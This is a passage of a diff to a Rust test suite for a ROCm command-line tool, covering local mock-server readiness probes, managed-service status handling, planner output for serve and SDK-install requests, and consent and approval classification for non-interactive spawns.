// until EOF, so a keep-alive engine that answers correctly but never + // closes the socket looked identical to a hung one — the readiness + // probe ran out its timeout and reported not-ready even though the + // answer had already arrived. + let listener = TcpListener::bind(("127.0.0.1", 0))?; + let port = listener.local_addr()?.port(); + let server = thread::spawn(move || { + while let Ok((mut stream, _)) = listener.accept() { + thread::spawn(move || { + stream.set_read_timeout(Some(Duration::from_secs(2))).ok(); + let mut buffer = [0_u8; 1024]; + let Ok(read) = stream.read(&mut buffer) else { + return; + }; + let request = String::from_utf8_lossy(&buffer[..read]).into_owned(); + let body = if request.starts_with("POST /v1/chat/completions ") { + r#"{"choices":[{"message":{"content":"ok"}}]}"# + } else { + r#"{"data":[{"id":"Qwen3-0.6B-GGUF"}]}"# + }; + let _ = write!( + stream, + "HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\n\r\n{}", + body.len(), + body + ); + // Hold the connection open well past the readiness wait's + // timeout below, and deliberately omit `Connection: + // close`. The client must not need EOF to recognize the + // response as complete. + thread::sleep(Duration::from_secs(10)); + }); } - } - } + }); - #[test] - fn proposal_action_show_is_read_only() { - let call = providers::ChatToolCall { - id: None, - name: "proposal_action".to_owned(), - arguments: serde_json::json!({ "proposal_id": "p1", "action": "show" }), - }; - validate_chat_tool_call(&call).expect("show validates"); + let started = Instant::now(); + let readiness = wait_for_service_http_ready( + "vllm", + "127.0.0.1", + port, + "Qwen3-0.6B-GGUF", + None, + Duration::from_secs(5), + ); + + assert_eq!(readiness, EndpointReadiness::Serving); assert!( - chat_tool_call_is_read_only(&call), - "proposal_action show must be read-only" + started.elapsed() < Duration::from_secs(3), + "a complete response must be recognized without waiting on the peer to close" ); + // `server`'s accept loop runs forever; dropping the JoinHandle detaches + // it rather than joining, and the thread dies with the test process. + drop(server); + Ok(()) } #[test] - fn proposal_action_approve_requires_approval() { - for action in ["approve", "reject"] { - let call = providers::ChatToolCall { - id: None, - name: "proposal_action".to_owned(), - arguments: serde_json::json!({ "proposal_id": "p1", "action": action }), - }; - validate_chat_tool_call(&call).expect("approve/reject validates"); - assert!( - !chat_tool_call_is_read_only(&call), - "proposal_action {action} must NOT be read-only" - ); - let req = chat_tool_approval_request(&call, None).unwrap_or_else(|err| { - panic!("proposal_action {action} should need approval: {err}") - }); - assert_eq!(req.command_title, "Reviews"); - assert!( - req.pending_title.contains("proposal") || req.pending_title.contains("Proposal") - ); - assert!( - req.display_command - .as_deref() - .unwrap_or_default() - .contains("p1"), - "display command should show the proposal id" - ); - } - } + fn a_loading_service_keeps_its_status_instead_of_being_demoted() -> Result<()> { + use std::io::{Read, Write}; + use std::net::TcpListener; - #[test] - fn proposal_action_rejects_unknown_action() { - let call = providers::ChatToolCall { - id: None, - name: "proposal_action".to_owned(), - arguments: serde_json::json!({ "proposal_id": "p1", "action": "delete" }), - }; + // A model that is listed but cannot serve yet is coming up normally. It + // must not be demoted to "starting": `rocmd` restarts a service that sits + // in "starting" past its stale window, which would kill a slow-loading + // model mid-load and start the wait over. + let listener = TcpListener::bind(("127.0.0.1", 0))?; + let port = listener.local_addr()?.port(); + // Keeps listing the model for as long as the test asks, so a second + // readiness check reaches the probe throttle rather than an unanswered + // socket. Counts the inference requests that actually got sent. + let probes = std::sync::Arc::new(std::sync::atomic::AtomicUsize::new(0)); + let server_probes = std::sync::Arc::clone(&probes); + let server = thread::spawn(move || { + while let Ok((mut stream, _)) = listener.accept() { + stream.set_read_timeout(Some(Duration::from_secs(2))).ok(); + let mut buffer = [0_u8; 1024]; + let Ok(read) = stream.read(&mut buffer) else { + continue; + }; + let request = String::from_utf8_lossy(&buffer[..read]).into_owned(); + if request.starts_with("POST /v1/chat/completions ") { + server_probes.fetch_add(1, std::sync::atomic::Ordering::SeqCst); + let body = r#"{"error":"loading model"}"#; + let _ = write!( + stream, + "HTTP/1.1 503 Service Unavailable\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{}", + body.len(), + body + ); + } else { + let body = r#"{"data":[{"id":"Qwen3-0.6B-GGUF"}]}"#; + let _ = write!( + stream, + "HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{}", + body.len(), + body + ); + } + } + }); + + let (root, paths) = test_paths("liveness-loading-service"); + paths.ensure()?; + let mut record = ManagedServiceRecord::new( + &paths, + "svc-loading", + "vllm", + "Qwen3-0.6B-GGUF", + "Qwen3-0.6B-GGUF", + "127.0.0.1", + port, + "managed", + std::process::id(), + None, + None, + None, + ); + record.status = "running".to_owned(); + record.write()?; + + let changed = refresh_managed_service_runtime_liveness(&paths, &mut record); + + assert_eq!( + record.status, "running", + "a loading service keeps its status rather than being demoted" + ); assert!( - validate_chat_tool_call(&call).is_err(), - "unknown proposal_action `action` must be rejected" + record.inference_verified_at_unix_ms.is_none(), + "nothing is latched until inference actually answers" + ); + assert!( + changed && record.inference_probe_attempted_at_unix_ms.is_some(), + "the probe attempt is recorded and reported so the caller persists \ + the retry throttle" + ); + + // Second pass, inside the retry interval: the throttle holds, so the + // model is not asked to generate again just because someone re-listed. + let changed_again = refresh_managed_service_runtime_liveness(&paths, &mut record); + assert!(!changed_again, "a throttled check changes nothing"); + assert_eq!(record.status, "running"); + assert_eq!( + probes.load(std::sync::atomic::Ordering::SeqCst), + 1, + "a warming service must not be re-probed by every poll" ); + + drop(server); + fs::remove_dir_all(root).ok(); + Ok(()) } #[test] - fn proposal_action_approve_updates_status() { - let (root, paths) = test_paths("proposal-approve"); - // Seed a pending proposal. - let proposal = rocm_core::AutomationProposalRecord { - at_unix_ms: rocm_core::unix_time_millis(), - proposal_id: "prop-approve-1".to_owned(), - watcher_id: "therock-update".to_owned(), - action: "prepare_driver_plan".to_owned(), - title: "Apply driver plan".to_owned(), - message: "A reviewed driver plan is ready.".to_owned(), - status: "pending".to_owned(), - service_id: None, - tool: None, - arguments: serde_json::Value::Null, - reviewed_at_unix_ms: None, - }; - rocm_core::append_automation_proposal(&paths, &proposal).expect("seed proposal"); + fn load_managed_services_promotes_running_to_ready_once_probe_passes() -> Result<()> { + use std::io::{Read, Write}; + use std::net::TcpListener; - // show is read-only and returns the proposal. - let shown = run_internal_mcp_call( + let listener = TcpListener::bind(("127.0.0.1", 0))?; + let port = listener.local_addr()?.port(); + // Three requests hit this mock. `load_managed_services` lists the model + // and then confirms inference, which promotes the record and latches the + // verification; the `load_managed_service` re-read below (which proves the + // promotion was persisted, not just returned in-memory) reads that latch + // and so only re-lists. + let server = thread::spawn(move || -> Result> { + let mut requests = Vec::new(); + for _ in 0..3 { + let (mut stream, _) = listener.accept()?; + stream.set_read_timeout(Some(Duration::from_secs(2))).ok(); + let mut request_bytes = Vec::new(); + let mut buffer = [0_u8; 1024]; + loop { + let read = stream.read(&mut buffer)?; + if read == 0 { + break; + } + request_bytes.extend_from_slice(&buffer[..read]); + if String::from_utf8_lossy(&request_bytes).contains("\r\n\r\n") { + break; + } + } + let request = String::from_utf8_lossy(&request_bytes).into_owned(); + let body = if request.starts_with("POST /v1/chat/completions ") { + r#"{"choices":[{"message":{"content":"ok"}}]}"# + } else { + r#"{"data":[{"id":"Qwen3-0.6B-GGUF"}]}"# + }; + write!( + stream, + "HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{}", + body.len(), + body + )?; + requests.push(request); + } + Ok(requests) + }); + + let (root, paths) = test_paths("load-managed-services-promote-ready"); + paths.ensure()?; + let mut record = ManagedServiceRecord::new( &paths, - "proposal_action", - serde_json::json!({ "proposal_id": "prop-approve-1", "action": "show" }), - false, - ) - .expect("show ok"); - assert_eq!(shown["structuredContent"]["status"], "pending"); + "svc-qwen-promote", + "vllm", + "Qwen3-0.6B-GGUF", + "Qwen3-0.6B-GGUF", + "127.0.0.1", + port, + "managed", + std::process::id(), + None, + None, + None, + ); + // A supervisor that has already observed the engine come up reports + // "running"; only the HTTP model-ready probe should promote it further. + record.status = "running".to_owned(); + record.write()?; - // approve requires allow_mutation. + let records = load_managed_services(&paths)?; + let promoted = records + .iter() + .find(|found| found.service_id == "svc-qwen-promote") + .expect("service should be present"); + assert_eq!(promoted.status, "ready"); + + // Re-read the manifest file directly (bypassing any code path that + // could itself re-run the promotion) to prove the transition was + // actually written to disk, not just returned in the in-memory + // `Vec` above. `load_managed_service` below + // also calls `refresh_managed_service_runtime_liveness` on every + // read, so asserting only on its return value would pass even if + // `load_managed_services` never persisted anything. + let on_disk_bytes = fs::read(&record.manifest_path)?; + let on_disk = serde_json::from_slice::(&on_disk_bytes)?; + assert_eq!(on_disk.status, "ready"); + + // The promotion must have been persisted to disk, not just returned + // in-memory, since chat's `pick_managed_chat_endpoint` re-reads it. + let reloaded = load_managed_service(&paths, "svc-qwen-promote")?; + assert_eq!(reloaded.status, "ready"); assert!( - run_internal_mcp_call( - &paths, - "proposal_action", - serde_json::json!({ "proposal_id": "prop-approve-1", "action": "approve" }), - false, - ) - .is_err(), - "approve without allow_mutation must bail" + reloaded.inference_verified_at_unix_ms.is_some(), + "the inference verification is persisted with the promotion" ); - // approve with allow_mutation sets status to approved. - let approved = run_internal_mcp_call( - &paths, - "proposal_action", - serde_json::json!({ "proposal_id": "prop-approve-1", "action": "approve" }), - true, - ) - .expect("approve ok"); - assert_eq!(approved["structuredContent"]["status"], "approved"); - let stored = rocm_core::find_automation_proposal(&paths, "prop-approve-1") - .expect("proposal still present"); - assert_eq!(stored.status, "approved"); + let requests = server.join().expect("server thread should not panic")?; + let lines: Vec<&str> = requests + .iter() + .filter_map(|request| request.lines().next()) + .collect(); + assert_eq!( + lines, + vec![ + "GET /v1/models HTTP/1.1", + "POST /v1/chat/completions HTTP/1.1", + "GET /v1/models HTTP/1.1", + ], + "promotion confirms inference once; the re-read reads the latch" + ); + fs::remove_dir_all(root).ok(); + Ok(()) + } + + pub(crate) fn test_examine(os: &str, wsl: bool) -> ExamineSummary { + ExamineSummary { + os: os.to_owned(), + arch: "x86_64".to_owned(), + kernel: Some("6.8.0-test".to_owned()), + distro: Some("test distro".to_owned()), + cpu: Some("AMD Ryzen".to_owned()), + system_ram_gib: Some(64.0), + interactive_terminal: false, + default_engine: "vllm".to_owned(), + detected_gfx_target: Some("gfx1201".to_owned()), + compatible_therock_family: Some("gfx120X-all".to_owned()), + detected_therock_family: None, + driver: rocm_core::DriverSummary { + policy: "linux_official_amd_dkms_wrapper".to_owned(), + status: "amdgpu_missing".to_owned(), + detail: Some("/dev/kfd missing".to_owned()), + }, + legacy_rocm: rocm_core::LegacyRocmSummary { + status: "not_detected".to_owned(), + paths: Vec::new(), + detail: None, + version: None, + }, + wsl: wsl.then_some(rocm_core::WslSummary { + is_wsl: true, + dxg_device: true, + dxcore: true, + librocdxg: false, + rocdxg_dids: false, + ldconfig_librocdxg: false, + rocminfo: false, + cargo: false, + detail: Some("missing librocdxg".to_owned()), + }), + managed_runtime_count: 0, + managed_service_count: 0, + model_cache_entries: 0, + config_dir: PathBuf::from("/tmp/config"), + data_dir: PathBuf::from("/tmp/data"), + cache_dir: PathBuf::from("/tmp/cache"), + } + } - let _ = fs::remove_dir_all(&root); + fn test_app_paths() -> AppPaths { + AppPaths { + config_dir: PathBuf::from("C:/Users/test/.rocm"), + data_dir: PathBuf::from("D:/rocm-data"), + cache_dir: PathBuf::from("D:/rocm-data/cache"), + } } #[test] - fn proposal_action_reject_updates_status() { - let (root, paths) = test_paths("proposal-reject"); - let proposal = rocm_core::AutomationProposalRecord { - at_unix_ms: rocm_core::unix_time_millis(), - proposal_id: "prop-reject-1".to_owned(), - watcher_id: "server-recover".to_owned(), - action: "queue_stop_server_proposal".to_owned(), - title: "Stop overheating server".to_owned(), - message: "GPU thermal pressure detected.".to_owned(), - status: "pending".to_owned(), - service_id: None, - tool: None, - arguments: serde_json::Value::Null, - reviewed_at_unix_ms: None, - }; - rocm_core::append_automation_proposal(&paths, &proposal).expect("seed proposal"); - - let rejected = run_internal_mcp_call( - &paths, - "proposal_action", - serde_json::json!({ "proposal_id": "prop-reject-1", "action": "reject" }), - true, - ) - .expect("reject ok"); - assert_eq!(rejected["structuredContent"]["status"], "rejected"); - let stored = rocm_core::find_automation_proposal(&paths, "prop-reject-1") - .expect("proposal still present"); - assert_eq!(stored.status, "rejected"); + fn app_path_env_vars_include_config_data_and_cache() { + let paths = test_app_paths(); + let vars = app_path_env_vars(&paths); - let _ = fs::remove_dir_all(&root); + assert_eq!(vars[0], ("ROCM_CLI_CONFIG_DIR", paths.config_dir.as_path())); + assert_eq!(vars[1], ("ROCM_CLI_DATA_DIR", paths.data_dir.as_path())); + assert_eq!(vars[2], ("ROCM_CLI_CACHE_DIR", paths.cache_dir.as_path())); } #[test] - fn proposal_action_show_missing_proposal_errors() { - let (root, paths) = test_paths("proposal-missing"); - assert!( - run_internal_mcp_call( - &paths, - "proposal_action", - serde_json::json!({ "proposal_id": "nope", "action": "show" }), - false, - ) - .is_err(), - "showing a missing proposal must error" + fn app_path_env_var_values_include_engine_env_root_when_needed() { + let paths = test_app_paths(); + let engine_root = PathBuf::from("D:/rocm-data/runtime/engines"); + let vars = app_path_env_var_values(&paths, Some(&engine_root)); + + assert_eq!( + vars.last().map(|(key, value)| (*key, value.as_path())), + Some(("ROCM_CLI_ENGINE_ENVS_ROOT", engine_root.as_path())) ); - let _ = fs::remove_dir_all(&root); } #[test] - fn config_set_permissions_classifies_as_approval() { - // Permission escalation MUST route through approval — the classifier - // routes any `config ` (catch-all) to Approval. Verify both modes. - for mode in ["full_access", "ask"] { - let action = chat_rocm_command_action_from_args(vec![ - "config".to_owned(), - "set-permissions".to_owned(), - mode.to_owned(), - ]) - .expect("config set-permissions classifies"); - match action { - ChatRocmCommandAction::Approval { command_title, .. } => { - assert_eq!(command_title, "Config"); - } - other @ ChatRocmCommandAction::ReadOnly(_) => { - panic!("config set-permissions {mode} must need approval, got {other:?}") - } - } - } + fn uninstall_binary_matcher_includes_packaged_codex_binary() { + assert!(is_rocm_install_entry_name("rocm-codex")); + assert!(is_rocm_install_entry_name("rocm-codex.exe")); } #[test] - fn config_set_permissions_sets_mode() { - // The SetPermissions handler logic: set permissions.mode, save, reload. - let (root, paths) = test_paths("config-permissions"); - let mut config = RocmCliConfig::load(&paths).expect("load default config"); - assert_eq!(config.permissions.mode_label(), PERMISSIONS_MODE_ASK); - // Mirror the SetPermissions handler mutation. - config.permissions.mode = PermissionsModeArg::FullAccess.as_str().to_owned(); - config.save(&paths).expect("save config"); - let reloaded = RocmCliConfig::load(&paths).expect("reload config"); - assert_eq!( - reloaded.permissions.mode_label(), - PERMISSIONS_MODE_FULL_ACCESS + fn hybrid_planner_normalizes_model_alias_and_structured_serve_call() { + let plan = build_freeform_plan("serve qwen3.5 with vllm", &RocmCliConfig::default()); + + assert_eq!(plan.intent, PlannerIntent::Serve); + assert_eq!(plan.confidence, "high"); + assert!( + plan.parsed + .contains(&("model".to_owned(), "Qwen/Qwen3.5-4B".to_owned())) ); - assert!(reloaded.permissions.full_access_enabled()); - // And back to ask. - let mut config = reloaded; - config.permissions.mode = PermissionsModeArg::Ask.as_str().to_owned(); - config.save(&paths).expect("save config"); - let reloaded = RocmCliConfig::load(&paths).expect("reload config"); - assert_eq!(reloaded.permissions.mode_label(), PERMISSIONS_MODE_ASK); - let _ = fs::remove_dir_all(&root); + assert!( + plan.parsed + .contains(&("model_alias".to_owned(), "qwen3.5".to_owned())) + ); + assert!( + plan.parsed + .contains(&("engine".to_owned(), "vllm".to_owned())) + ); + assert!( + plan.parsed + .contains(&("mode".to_owned(), "managed".to_owned())) + ); + assert!(plan.actions.iter().any(|action| { + action.approval == "required" + && action.args + == vec![ + "serve".to_owned(), + "Qwen/Qwen3.5-4B".to_owned(), + "--engine".to_owned(), + "vllm".to_owned(), + "--device".to_owned(), + "gpu_required".to_owned(), + "--managed".to_owned(), + ] + })); } #[test] - fn watcher_validator_rejects_unknown_and_invalid_mode() { - // Unknown watcher id → rejected. - let unknown = providers::ChatToolCall { - id: None, - name: "watcher_enable".to_owned(), - arguments: serde_json::json!({ "watcher": "no-such-watcher" }), - }; + fn hybrid_planner_can_use_active_recipe_registry_aliases() { + let mut recipe = resolve_builtin_model_recipe("tiny-gpt2").expect("tiny recipe"); + recipe.canonical_model_id = "Acme/SignedTiny".to_owned(); + recipe.aliases = vec!["signedtiny".to_owned()]; + recipe.source = "signed_recipe_index".to_owned(); + recipe.preferred_engines = vec!["vllm".to_owned()]; + recipe.device_policy = "cpu_only".to_owned(); + recipe.dtype = "float16".to_owned(); + + let plan = build_freeform_plan_with_recipes( + "serve signedtiny", + &RocmCliConfig::default(), + Some(&[recipe]), + "lemonade", + ); + + assert_eq!(plan.intent, PlannerIntent::Serve); + assert_eq!(plan.confidence, "high"); assert!( - validate_chat_watcher_tool_call(&unknown, true).is_err(), - "unknown watcher must be rejected" + plan.parsed + .contains(&("model".to_owned(), "Acme/SignedTiny".to_owned())) ); - // Invalid mode → rejected. - let bad_mode = providers::ChatToolCall { - id: None, - name: "watcher_enable".to_owned(), - arguments: serde_json::json!({ "watcher": "therock-update", "mode": "rampage" }), - }; assert!( - validate_chat_watcher_tool_call(&bad_mode, true).is_err(), - "invalid watcher mode must be rejected" + plan.parsed + .contains(&("model_alias".to_owned(), "signedtiny".to_owned())) ); - // Valid watcher + valid mode → accepted. - let ok = providers::ChatToolCall { - id: None, - name: "watcher_enable".to_owned(), - arguments: serde_json::json!({ "watcher": "therock-update", "mode": "observe" }), - }; - validate_chat_watcher_tool_call(&ok, true).expect("valid watcher+mode accepted"); - // Disable must reject a `mode`. - let disable_with_mode = providers::ChatToolCall { - id: None, - name: "watcher_disable".to_owned(), - arguments: serde_json::json!({ "watcher": "therock-update", "mode": "observe" }), - }; assert!( - validate_chat_watcher_tool_call(&disable_with_mode, false).is_err(), - "disable must reject a mode argument" + plan.parsed + .contains(&("recipe_source".to_owned(), "signed_recipe_index".to_owned())) + ); + assert!( + plan.parsed + .contains(&("recipe_dtype".to_owned(), "float16".to_owned())) + ); + assert!(plan.actions.is_empty()); + assert!( + plan.notes + .iter() + .any(|note| note.contains("CPU mode is not offered")) ); } #[test] - fn lifecycle_read_mutate_split_is_honest() { - let read_only = [ - vec!["update".to_owned()], - vec!["comfyui".to_owned(), "status".to_owned()], - vec!["comfyui".to_owned(), "logs".to_owned()], - vec!["uninstall".to_owned(), "--dry-run".to_owned()], - vec!["setup".to_owned(), "status".to_owned()], - vec![ - "runtimes".to_owned(), - "uninstall".to_owned(), - "old-runtime".to_owned(), - "--dry-run".to_owned(), - ], - vec![ - "runtimes".to_owned(), - "remove".to_owned(), - "old-runtime".to_owned(), - "--dry-run".to_owned(), - ], - // Must agree with the daemon's `ensure_rocm_command_is_read_only`. - // Its comment claims the two are mirrored, and nothing enforced - // that — the arm was added there and not here, and the classifiers - // disagreed until a reviewer noticed. - vec!["remote".to_owned(), "targets".to_owned()], - vec![ - "remote".to_owned(), - "doctor".to_owned(), - "gpu-box".to_owned(), - ], - vec!["remote".to_owned(), "status".to_owned()], - ]; - for args in read_only { - let action = chat_rocm_command_action_from_args(args.clone()) - .unwrap_or_else(|err| panic!("{args:?} should classify: {err}")); - assert!( - matches!(action, ChatRocmCommandAction::ReadOnly(_)), - "{args:?} should be read-only, got {action:?}" - ); - } + fn hybrid_planner_builds_nightly_therock_install_call() { + let plan = build_freeform_plan( + "install the latest TheRock nightly for this GPU into D:\\ROCm\\therock_venvs", + &RocmCliConfig::default(), + ); - // Paired with whether the command has a `--yes` to inject. The flag - // exists to keep a consent prompt from hanging a null-stdin spawn, so - // the demand only makes sense for commands that would prompt — and - // injecting it where clap defines no such flag would make the spawn fail - // to parse rather than succeed unattended. - let mutating = [ - (vec!["update".to_owned(), "--apply".to_owned()], true), - // These start, publish or tear down on another machine. They take no - // `--yes` because they never prompt: consent is the approval step - // itself, and every destructive choice they make is already settled - // by an explicit flag (`remote stop --force`). Give any of them an - // interactive prompt and it needs a consent flag here too. - ( - vec![ - "remote".to_owned(), - "serve".to_owned(), - "gpu-box".to_owned(), - "m".to_owned(), - ], - false, - ), - ( - vec!["remote".to_owned(), "attach".to_owned(), "sess".to_owned()], - false, - ), - ( - vec!["remote".to_owned(), "stop".to_owned(), "sess".to_owned()], - false, - ), - (vec!["comfyui".to_owned(), "install".to_owned()], true), - (vec!["comfyui".to_owned(), "start".to_owned()], true), - (vec!["comfyui".to_owned(), "stop".to_owned()], true), - (vec!["uninstall".to_owned()], true), - (vec!["setup".to_owned(), "reset".to_owned()], true), - ( - vec![ - "runtimes".to_owned(), - "uninstall".to_owned(), - "old-runtime".to_owned(), - ], - true, - ), - ( - vec![ - "runtimes".to_owned(), - "remove".to_owned(), - "old-runtime".to_owned(), - ], - true, - ), - ]; - for (args, expects_yes) in mutating { - let action = chat_rocm_command_action_from_args(args.clone()) - .unwrap_or_else(|err| panic!("{args:?} should classify: {err}")); - match &action { - ChatRocmCommandAction::Approval { args, .. } => { - assert_eq!( - args.iter().any(|arg| arg == "--yes"), - expects_yes, - "{args:?} disagrees with whether the approval path should \ - carry --yes" - ); - } - other @ ChatRocmCommandAction::ReadOnly(_) => { - panic!("{args:?} should require approval, got {other:?}") - } - } - } + assert_eq!(plan.intent, PlannerIntent::InstallSdk); + assert!( + plan.parsed + .contains(&("channel".to_owned(), "nightly".to_owned())) + ); + assert!( + plan.parsed + .contains(&("prefix".to_owned(), "D:\\ROCm\\therock_venvs".to_owned())) + ); + assert!(plan.actions.iter().any(|action| { + action.title == "Install TheRock SDK" + && action.approval == "required" + && action.args + == vec![ + "install".to_owned(), + "sdk".to_owned(), + "--channel".to_owned(), + "nightly".to_owned(), + "--format".to_owned(), + "wheel".to_owned(), + "--prefix".to_owned(), + "D:\\ROCm\\therock_venvs".to_owned(), + ] + })); } - /// Resolve the argv a non-interactive surface produces the way `install()` - /// does, so a test can assert what that argv actually consents to rather - /// than which flag string it happens to contain. - fn consents_for_install_sdk_argv(args: &[String]) -> SdkInstallConsents { - let cli = - Cli::try_parse_from(std::iter::once("rocm".to_owned()).chain(args.iter().cloned())) - .unwrap_or_else(|error| { - panic!("{args:?} must parse as a `rocm` invocation: {error}") - }); - let Some(Command::Install { - target: - InstallTarget::Sdk { - yes, - approve_replacing_active_default, - .. - }, - }) = cli.command - else { - panic!("{args:?} is not an `install sdk` invocation"); - }; - SdkInstallConsents::resolve(yes, approve_replacing_active_default) + #[test] + fn hybrid_planner_builds_requested_therock_build_date_install_call() { + let plan = build_freeform_plan( + "install the TheRock wheel from date 06052026 into D:\\ROCm\\therock_venvs", + &RocmCliConfig::default(), + ); + + assert_eq!(plan.intent, PlannerIntent::InstallSdk); + assert!( + plan.parsed + .contains(&("build_date".to_owned(), "2026-06-05".to_owned())) + ); + assert!(plan.actions.iter().any(|action| { + action.title == "Install TheRock SDK" + && action.approval == "required" + && action.args + == vec![ + "install".to_owned(), + "sdk".to_owned(), + "--channel".to_owned(), + "release".to_owned(), + "--format".to_owned(), + "wheel".to_owned(), + "--prefix".to_owned(), + "D:\\ROCm\\therock_venvs".to_owned(), + "--build-date".to_owned(), + "2026-06-05".to_owned(), + ] + })); } #[test] - fn install_sdk_chat_and_mcp_args_approve_the_replacement_for_a_non_interactive_spawn() { - // The chat/MCP surfaces spawn `rocm` with null stdin, so the consent - // prompt would refuse with "re-run with - // `--approve-replacing-active-default`" — a flag the user has no way to - // supply from chat or the dashboard. Both the chat classifier - // arm and the MCP tool-args builder must inject the consent so an - // install over the active default runtime is not silently refused. - let action = chat_rocm_command_action_from_args(vec![ - "install".to_owned(), - "sdk".to_owned(), - "--channel".to_owned(), - "release".to_owned(), - // The classifier requires a user-chosen (non-system) install folder. - "--prefix".to_owned(), - "/home/tester/rocm-managed".to_owned(), - ]) - .expect("install sdk classifies"); - let chat_args = match action { - ChatRocmCommandAction::Approval { args, .. } => args, - other @ ChatRocmCommandAction::ReadOnly(_) => { - panic!("install sdk must require approval, got {other:?}") - } - }; - - // The MCP `install_sdk` tool builds its own argv (it does not route - // through the classifier above), so it must add the flag independently. - let call = providers::ChatToolCall { - id: None, - name: "install_sdk".to_owned(), - arguments: serde_json::json!({ "channel": "release", "format": "wheel" }), - }; - let mcp_args = rocm_chat_tool_requested_args(&call).expect("install_sdk tool builds args"); + fn hybrid_planner_asks_for_folder_before_therock_install() { + let plan = build_freeform_plan( + "install the TheRock wheel from date 06052026", + &RocmCliConfig::default(), + ); - for args in [&chat_args, &mcp_args] { - assert_eq!( - consents_for_install_sdk_argv(args).replace_active_default, - therock::SdkInstallConsent::Preapproved( - therock::SdkInstallApprovalSource::ApproveReplacingActiveDefault - ), - "the spawn must approve replacing the active default, and be credited \ - to the flag it actually passed rather than to --yes, got {args:?}" - ); - } + assert_eq!(plan.intent, PlannerIntent::Ask); + assert!(plan.actions.is_empty()); + assert!(plan.approval.contains("install folder")); + assert!( + plan.notes + .iter() + .any(|note| note.contains("install folder")) + ); + assert!( + plan.parsed + .contains(&("build_date".to_owned(), "2026-06-05".to_owned())) + ); } #[test] - fn an_injected_consent_does_not_approve_privileged_package_installs() { - // The worked regression: Linux, a vLLM-preferred GPU family, OpenMPI - // absent, and neither root nor passwordless sudo. The chat, MCP and - // daemon surfaces spawn `rocm` with null stdin, so there is no terminal - // on which a `sudo` password prompt could ever be answered. Injecting - // `--yes` to clear the runtime-replacement prompt used to grant the - // second, unrelated consent that flag carries, which made - // `ensure_openmpi_for_vllm` run a sudo it cannot complete and then - // escalate the failure — aborting `maybe_auto_install_sdk_preferred_engine` - // before the vLLM engine install that previously warned and continued. - let call = providers::ChatToolCall { - id: None, - name: "install_sdk".to_owned(), - arguments: serde_json::json!({ "channel": "release", "format": "wheel" }), - }; - let injected = consents_for_install_sdk_argv( - &rocm_chat_tool_requested_args(&call).expect("install_sdk tool builds args"), + fn hybrid_planner_handles_small_cpu_model_without_gpu_fallback() { + let plan = build_freeform_plan("run a small local model on cpu", &RocmCliConfig::default()); + + assert_eq!(plan.intent, PlannerIntent::Serve); + assert!( + plan.parsed + .contains(&("model".to_owned(), "sshleifer/tiny-gpt2".to_owned())) ); - assert_eq!( - injected.replace_active_default, - therock::SdkInstallConsent::Preapproved( - therock::SdkInstallApprovalSource::ApproveReplacingActiveDefault - ) + assert!( + plan.parsed + .contains(&("device_policy".to_owned(), "cpu_not_supported".to_owned())) ); + assert!(plan.actions.is_empty()); assert!( - !injected.system_packages, - "an injected consent must not approve a privileged package install" + plan.notes + .iter() + .any(|note| note.contains("CPU mode is not offered")) ); - assert_eq!( - system_package_install_action(injected.system_packages, false), - SystemPackageInstallAction::PrintManualCommands, - "on a host without passwordless sudo the spawn must print the commands, not run sudo" + } + + #[test] + fn hybrid_planner_lets_a_configured_engine_outrank_the_host_default() { + let config = RocmCliConfig { + default_engine: Some("lemonade".to_owned()), + ..RocmCliConfig::default() + }; + let plan = build_freeform_plan_with_recipes( + "serve some/unmatched-model", + &config, + Some(&[]), + "vllm", ); - // And the other half of the property: a `--yes` the user actually typed - // still approves both, and a failure of the install it asked for is - // still an error rather than a warning. - let typed = consents_for_install_sdk_argv(&[ - "install".to_owned(), - "sdk".to_owned(), - "--yes".to_owned(), - ]); + let engine_arg = plan + .actions + .iter() + .find_map(|action| { + let index = action.args.iter().position(|arg| arg == "--engine")?; + action.args.get(index + 1).cloned() + }) + .expect("the generated serve command must name an engine"); assert_eq!( - typed.replace_active_default, - therock::SdkInstallConsent::Preapproved(therock::SdkInstallApprovalSource::AssumeYes), - "a --yes the user typed must still be credited to --yes" + engine_arg, "lemonade", + "an engine the user configured must still win:\n{:?}", + plan.actions ); - assert!(typed.system_packages); - assert_eq!( - system_package_install_action(typed.system_packages, false), - SystemPackageInstallAction::RunPlan { - approval: "granted by --yes", - escalate_failure: true, - }, + } + + #[test] + fn hybrid_planner_defaults_generic_local_assistant_to_validated_qwen() { + let plan = build_freeform_plan_with_recipes( + "start a local model", + &RocmCliConfig::default(), + None, + "lemonade", ); - // Root or passwordless sudo installs without any approval, as before — - // the consent split must not have made the automatic path conditional. - assert_eq!( - system_package_install_action(injected.system_packages, true), - SystemPackageInstallAction::RunPlan { - approval: "auto (root or passwordless sudo available)", - escalate_failure: false, - }, + assert_eq!(plan.intent, PlannerIntent::Serve); + assert_eq!(plan.confidence, "high"); + assert!(plan.parsed.contains(&( + "model".to_owned(), + providers::BUILTIN_ASSISTANT_MODEL_ID.to_owned() + ))); + assert!(plan.actions.iter().any(|action| { + action.approval == "required" + && action.args + == vec![ + "serve".to_owned(), + providers::BUILTIN_ASSISTANT_MODEL_ID.to_owned(), + "--engine".to_owned(), + "lemonade".to_owned(), + "--device".to_owned(), + "gpu_required".to_owned(), + "--managed".to_owned(), + ] + })); + } + + #[test] + fn freeform_plan_next_action_rejects_cpu_mode_request() { + assert!( + freeform_plan_next_action("run a small local model on cpu", &RocmCliConfig::default()) + .is_none() ); } #[test] - fn chat_rocm_command_runs_read_only_and_rejects_risky_shapes() { - let status = providers::ChatToolCall { - id: None, - name: "rocm_command".to_owned(), - arguments: serde_json::json!({ - "args": ["rocm", "comfy", "status"] - }), - }; - validate_chat_tool_call(&status).expect("ComfyUI status should validate"); - assert!(chat_tool_call_is_read_only(&status)); + fn freeform_plan_next_action_surfaces_approval_action() { + let action = + freeform_plan_next_action("serve qwen3.5 with vllm", &RocmCliConfig::default()) + .expect("serve request should have next action"); + + assert_eq!(action.title, "Launch local endpoint"); + assert!(action.approval_required); + assert!(!action.has_placeholders); assert_eq!( - rocm_chat_tool_requested_command(&status).as_deref(), - Some("rocm comfyui status") + action.args, + vec![ + "serve".to_owned(), + "Qwen/Qwen3.5-4B".to_owned(), + "--engine".to_owned(), + "vllm".to_owned(), + 